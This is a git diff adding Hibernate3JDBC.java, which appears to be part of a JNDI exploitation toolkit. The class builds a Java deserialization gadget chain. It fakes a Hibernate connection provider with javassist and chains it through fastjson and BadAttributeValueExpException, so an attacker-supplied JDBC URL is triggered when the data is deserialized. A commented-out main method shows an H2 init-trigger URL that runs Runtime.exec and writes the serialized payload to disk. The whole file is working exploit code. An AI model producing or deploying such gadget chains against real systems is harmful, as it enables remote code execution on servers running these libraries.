diff --git a/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java
new file mode 100644
index 0000000..d29d945
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java
@@ -0,0 +1,78 @@
+package com.qi4l.jndi.gadgets;
+
+import java.io.FileOutputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+import com.alibaba.fastjson.JSONArray;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtConstructor;
+import javassist.CtMethod;
+
+import javax.management.BadAttributeValueExpException;
+
+import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
+
+@Dependencies({" org.hibernate<=4.12"})
+@Authors({Authors.Unam4})
+public class Hibernate3JDBC implements ObjectPayload<Object>{
+    @Override
+    public Object getObject(String command) throws Exception {
+        ClassPool pool = ClassPool.getDefault();
+        CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl");
+        CtClass serializable = pool.get("java.io.Serializable");
+        driverconimpl.addInterface(serializable);
+        insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;");
+        insertField(driverconimpl, "url", "private String url;");
+        insertField(driverconimpl, "poolSize", "private int poolSize;");
+        insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();");
+
+
+        CtMethod make = CtMethod.make(
+                "public void configure(java.util.Map configurationValues) { " +
+                        "this.url = (String) configurationValues.get(\"hibernate.connection.url\");" +
+                        "this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" +
+                        "this.pool = new java.util.ArrayList();" +
+                        "}", driverconimpl);
+        driverconimpl.addMethod(make);
+
+
+        Class<?> clazz = driverconimpl.toClass();
+        Object o1 = clazz.newInstance();
+        HashMap<Object, Object> map1 = new HashMap<>();
+        map1.put("hibernate.connection.url", command);
+        map1.put("hibernate.connection.pool_size", "0");
+
+        clazz.getMethod("configure", Map.class).invoke(o1, map1);
+
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o1);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o1, val);
+        return hashMap;
+    }
+
+//    public static void main(String[] args) throws Exception{
+//        Hibernate3JDBC hibernate3JDBC = new Hibernate3JDBC();
+//        String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
+//                "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
+//                "java.lang.Runtime.getRuntime().exec('open .')\n" +
+//                "$$\n";
+//        Object object = hibernate3JDBC.getObject(JDBC_URL);
+//        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./c3p0"));
+//        outputStream.writeObject(object);
+//        outputStream.close();
+//
+//    }
+}